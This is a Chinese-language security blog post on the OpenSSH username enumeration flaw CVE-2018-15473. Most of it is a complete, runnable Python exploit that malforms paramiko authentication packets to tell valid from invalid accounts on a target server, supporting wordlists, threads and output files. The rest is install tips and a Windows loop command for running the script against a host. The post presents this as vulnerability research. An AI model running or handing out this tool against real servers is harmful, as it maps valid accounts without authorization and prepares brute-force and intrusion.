• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

OpenSSH用户枚举漏洞测试研究

tool 挑战自我 170次浏览 已收录 0个评论

1、文章背景

近来,完成了多个平台的系统整合与上线部署,自动化工作仍然任重道远,但是我们就是要坚持把这条黑暗之路走到底。一有空我就会思考手工漏洞挖掘的新方向和新思路,今天提交了一个OpenSSH用户枚举漏洞,过程不复杂,但有一些注意点,这边共享出来,大家一起研究探讨下。

2、OpenSSH用户枚举漏洞详细说明

OpenSSH用户枚举漏洞的CVE编号为CVE-2018-15473,这个漏洞影响自1999年以来至今年7.7版本中所有版本,远程攻击者可利用漏洞猜测在OpenSSH服务器上注册的用户名。

测试代码如下所示:

#!/usr/bin/env python
###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
# Vulnerability: CVE-2018-15473                                           #
# Affected Versions: OpenSSH version < 7.7                                #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
# Email: Justin.Gardner@SynerComm.com                                     #
# Date: August 20, 2018                                                   #
###########################################################################

import argparse
import logging
import paramiko
import multiprocessing
import socket
import string
import sys
import json
from random import randint as rand
from random import choice as choice
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
# with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
random_username_list = []
# populate the list
for i in range(3):
    user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
    random_username_list.append(user)

# create custom exception
class BadUsername(Exception):
    def __init__(self):
        pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
    sock = socket.socket()
    sock.connect((args.hostname, args.port))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        # server was likely flooded, retry up to 3 times
        transport.close()
        if tried < 4:
            tried += 1
            return checkUsername(username, tried)
        else:
            print('[-] Failed to negotiate SSH transport')
    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
            return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
            return (username, True)
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")

# function to test target system using the randomly generated usernames
def checkVulnerable():
    vulnerable = True
    for user in random_username_list:
        result = checkUsername(user)
        if result[1]:
            vulnerable = False
    return vulnerable

def exportJSON(results):
    data = {"Valid":[], "Invalid":[]}
    for result in results:
        if result[1] and result[0] not in data['Valid']:
            data['Valid'].append(result[0])
        elif not result[1] and result[0] not in data['Invalid']:
            data['Invalid'].append(result[0])
    return json.dumps(data)

def exportCSV(results):
    final = "Username, Valid\n"
    for result in results:
        final += result[0]+", "+str(result[1])+"\n"
    return final

def exportList(results):
    final = ""
    for result in results:
        if result[1]:
            final+=result[0]+" is a valid user!\n"
        else:
            final+=result[0]+" is not a valid user!\n"
    return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

def main():
    sock = socket.socket()
    try:
        sock.connect((args.hostname, args.port))
        sock.close()
    except socket.error:
        print('[-] Connecting to host failed. Please check the specified host and port.')
        sys.exit(1)

    # first we run the function to check if host is vulnerable to this CVE
    if not checkVulnerable():
        # most probably the target host is either patched or running a version not affected by this CVE
        print("Target host most probably is not vulnerable or already patched, exiting...")
        sys.exit(0)
    elif args.username: #single username passed in
        result = checkUsername(args.username)
        if result[1]:
            print(result[0]+" is a valid user!")
        else:
            print(result[0]+" is not a valid user!")
    elif args.userList: #username list passed in
        try:
            f = open(args.userList)
        except IOError:
            print("[-] File doesn't exist or is unreadable.")
            sys.exit(3)
        usernames = map(str.strip, f.readlines())
        f.close()
        # map usernames to their respective threads
        pool = multiprocessing.Pool(args.threads)
        results = pool.map(checkUsername, usernames)
        try:
            if args.outputFile:
                outputFile = open(args.outputFile, "w")
        except IOError:
            print("[-] Cannot write to outputFile.")
            sys.exit(5)
        if args.outputFormat=='json':
            if args.outputFile:
                outputFile.writelines(exportJSON(results))
                outputFile.close()
                print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
            else:
                print(exportJSON(results))
        elif args.outputFormat=='csv':
            if args.outputFile:
                outputFile.writelines(exportCSV(results))
                outputFile.close()
                print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
            else:
                print(exportCSV(results))
        else:
            if args.outputFile:
                outputFile.writelines(exportList(results))
                outputFile.close()
                print("[+] Results successfully written to " + args.outputFile + " in List form.")
            else:
                print(exportList(results))
    else: # no usernames passed in
        print("[-] No usernames provided to check")
        sys.exit(4)

if __name__ == '__main__':
    main()

3、安装过程注意细节

测试只需要安装paramiko模块即可,但是如果默认安装的话,版本不对可能引发各类问题,如下面这个错误:

TypeError: 'property' object has no attribute '__getitem__'

所以安装的时候按照下面的方法指定版本

pip install paramiko==2.0.8

4、测试证明

测试效果如下所示:
OpenSSH用户枚举漏洞测试研究

该脚本是基于python3编写的,而且是基于多进程的,python2和python3的运行稳定性问题,所以用python2的可以如下执行,回头我再改一版python2的放上来

for /f %i in (username.txt) do python ssh.py x.x.x.x --username %i >> result.txt

挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明OpenSSH用户枚举漏洞测试研究
喜欢 (14)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址